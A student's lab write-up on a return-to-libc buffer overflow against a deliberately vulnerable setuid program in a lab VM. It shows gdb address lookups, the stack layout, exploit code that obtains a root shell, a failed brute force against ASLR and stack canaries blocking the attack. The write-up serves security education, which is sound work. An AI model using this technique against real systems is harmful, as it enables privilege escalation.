

Lab 2 Return to Libc Attack

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Task 0: Preparations

```
$ sudo sysctl -w kernel.randomize_va_space=0 # close Address Randomization
```

Task 1: Exploiting the Vulnerability

Task 1.1: Retriving “/bin/sh”

I set a variant `MYSHELL`, and ran the example code from the document

Since the address of “/bin/sh” would be affected by many factors like the length of the executable file, I set the name of the file as `retlic`.

```
$ export MYHELL=/bin/sh
$ gcc retlic.c -o retlic
$ ./retlic
bffffe67 # the address of "/bin/sh"
```

Task 1.2: Retriving system and exit

Debugging in the gdb.

After entering the function main, print the address for `system()` and `exit()`

```
Breakpoint 1, 0x080484e9 in main ()
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xb7e43da0 <__libc_system>
gdb-peda$ p exit
$2 = {<text variable, no debug info>} 0xb7e379d0 <__GI_exit>
```

Task 1.3: Stack

```
0x80484cc <bof+17>: call 0x08048370 <fread@plt>
=> 0x80484d1 <bof+22>: add esp,0x10
0x80484d4 <bof+25>: mov eax,0x1
0x80484d9 <bof+30>: leave
0x80484da <bof+31>: ret
0x80484db <main>: lea ecx,[esp+0x4]
[-----stack-----]
0000| 0xbffff60 --> 0xbffff74 --> 0x90909090
0004| 0xbffff64 --> 0x1
0008| 0xbffff68 --> 0x28 ('(')
0012| 0xbffff6c --> 0x804b008 --> 0xfbad2488
0016| 0xbffff70 --> 0x80485c2 ("badfile")
0020| 0xbffff74 --> 0x90909090
0024| 0xbffff78 --> 0x90909090
0028| 0xbffff7c --> 0x90909090
[-----]
Legend: code, data, rodata, value
0x080484d1 in bof ()
gdb-peda$ x/20w ($ebp-32)
0xbffff68: 0x00000028 0x0804b008 0x080485c2 0x90909090
0xbffff78: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff88: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff98: 0x90909090 0x0804858b 0x00000001 0xbffff064
0xbffffa8: 0xbffff06c 0x0804b008 0xb7fbb3dc 0xbffffed0
gdb-peda$
```

I crammed the badfile with 0x90. And then I debug in gdb, and we can tell that `bof()` starts from `ebp-20`

Then I checked the assembly code of `bof`. I find that the first argument of `fread`, the last to be pushed on the stack, was `ebp-0x14`. And this comply with my try before.

```
gdb-peda$ disas bof
Dump of assembly code for function bof:
    0x080484bb <+0>:    push    ebp
    0x080484bc <+1>:    mov     ebp,esp
    0x080484be <+3>:    sub     esp,0x18
=> 0x080484c1 <+6>:    push    DWORD PTR [ebp+0x8]    # arg4 badfile
    0x080484c4 <+9>:    push    0x28                  # arg3 40
    0x080484c6 <+11>:   push    0x1                    # arg2 sizeof(char)
    0x080484c8 <+13>:   lea     eax,[ebp-0x14]
    0x080484cb <+16>:   push    eax                    # arg1 buffer
    0x080484cc <+17>:   call   0x8048370 <fread@plt>
    0x080484d1 <+22>:   add     esp,0x10
    0x080484d4 <+25>:   mov     eax,0x1
    0x080484d9 <+30>:   leave
    0x080484da <+31>:   ret
End of assembler dump.
```

Then arrange the stack as below.

```
+16 0x90909090
+12 0xbffffe67 argument /bin/sh # the argument of system()
+08 0xb7e379d0 ret addr exit()  # the return address of system()
+04 0xb7e43da0 ret addr system()
+00 0x90909090 old ebp
-04 0x90909090
-08 0x90909090
-12 0x90909090
-16 0x90909090
-20 0x90909090 &buffer
```

So the code

```
memset(&buf, 0x90, 40);
*(long *)&buf[32] = 0xbffffe67; // "/bin/sh"
*(long *)&buf[24] = 0xb7e43da0; // system()
*(long *)&buf[28] = 0xb7e379d0; // exit()
```

And check it in the debugger, the stack has changed accordingly.

```
gdb-peda$ x/20w ($ebp-32)
0xbffffefa8: 0x00000028 0x0804b008 0x080485c2 0x90909090
0xbffffefb8: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffefc8: 0x90909090 0xb7e43da0 0xb7e379d0 0xbffffe67
0xbffffefd8: 0x90909090 0x0804858b 0x00000001 0xbffff0a4
0xbffffefe8: 0xbffff0ac 0x0804b008 0xb7fb3dc 0xbffff010
```

Task 1.4: Run

```
[03/21/19]seed@VM:~/.../lab2$ make 0
sudo sysctl -w kernel.randomize_va_space=0
[sudo] password for seed:
kernel.randomize_va_space = 0
sudo rm /bin/sh
sudo ln -s /bin/zsh /bin/sh
[03/21/19]seed@VM:~/.../lab2$ make 11
sudo gcc -fno-stack-protector -z noexecstack -o retlib retlib.c
sudo chmod 4755 retlib
[03/21/19]seed@VM:~/.../lab2$ make 12
gcc -o exploit exploit.c
[03/21/19]seed@VM:~/.../lab2$ ./exploit
[03/21/19]seed@VM:~/.../lab2$ ./retlib
# whoami
root
#
```

We have retrieved a root shell.

Task 2: Address Randomization

```
$ sudo sysctl -w kernel.randomize_va_space=2
```

I tried a fairly long time.

```
./attack.sh: line 13: 4228 Segmentation fault      (core dumped) ./retlib
49 minutes and 13 seconds elapsed.
The program has been running 7765 times so far.
./attack.sh: line 13: 4230 Segmentation fault      (core dumped) ./retlib
49 minutes and 13 seconds elapsed.
The program has been running 7766 times so far.
./attack.sh: line 13: 4232 Segmentation fault      (core dumped) ./retlib
49 minutes and 13 seconds elapsed.
The program has been running 7767 times so far.
./attack.sh: line 13: 4234 Segmentation fault      (core dumped) ./retlib
49 minutes and 14 seconds elapsed.
The program has been running 7768 times so far.
./attack.sh: line 13: 4236 Segmentation fault      (core dumped) ./retlib
49 minutes and 14 seconds elapsed.
The program has been running 7769 times so far.
```

All of the 3 addresses would change. From Lab 1, we know the stack address has 19 bits of entropy. If we take a rough estimation and assume each address would change independently, the whole space would be $(2^{19})^3 = 2^{57}$. So the try times $X \sim Ge(\frac{1}{2^{57}})$, $E(X) = 2^{57}$.

If the program run twice in a second, it would take $\frac{2^{57}}{2/s \times 31536000s/yr} = 2,284,931,317.79325(yr)$

It is half the age of our earth, so I stopped my program then.

Task 3: Stack Guard Protection

If we open the Stack Guard Mechanism, the attack would fail.

```
[03/21/19]seed@VM:~/.../lab2$ sudo gcc -z noexecstack -o retlib retlib.c
[03/21/19]seed@VM:~/.../lab2$ sudo chmod 4755 retlib
[03/21/19]seed@VM:~/.../lab2$ ./retlib
*** stack smashing detected ***: ./retlib terminated
Aborted (core dumped)
```

As the lines indicate, there is a stack smashing detected.

```
-fstack-protector
Emit extra code to check for buffer overflows, such as stack smashing attacks. This is done by adding a guard variable to functions with vulnerable objects. This includes functions that call "alloca", and functions with buffers larger than 8 bytes. The guards are initialized when a function is entered and then checked when the function exits. If a guard check fails, an error message is printed and the program exits.
```

I've consulted the manual of gcc. As it says, The guards are initialized when a function is entered and then checked when the function exits. Since the guard check fails when the program is was returning from `bof()`. So the lines behind it will not run and the program will be aborted.

So it is canary that makes our return-to-libc attack harder.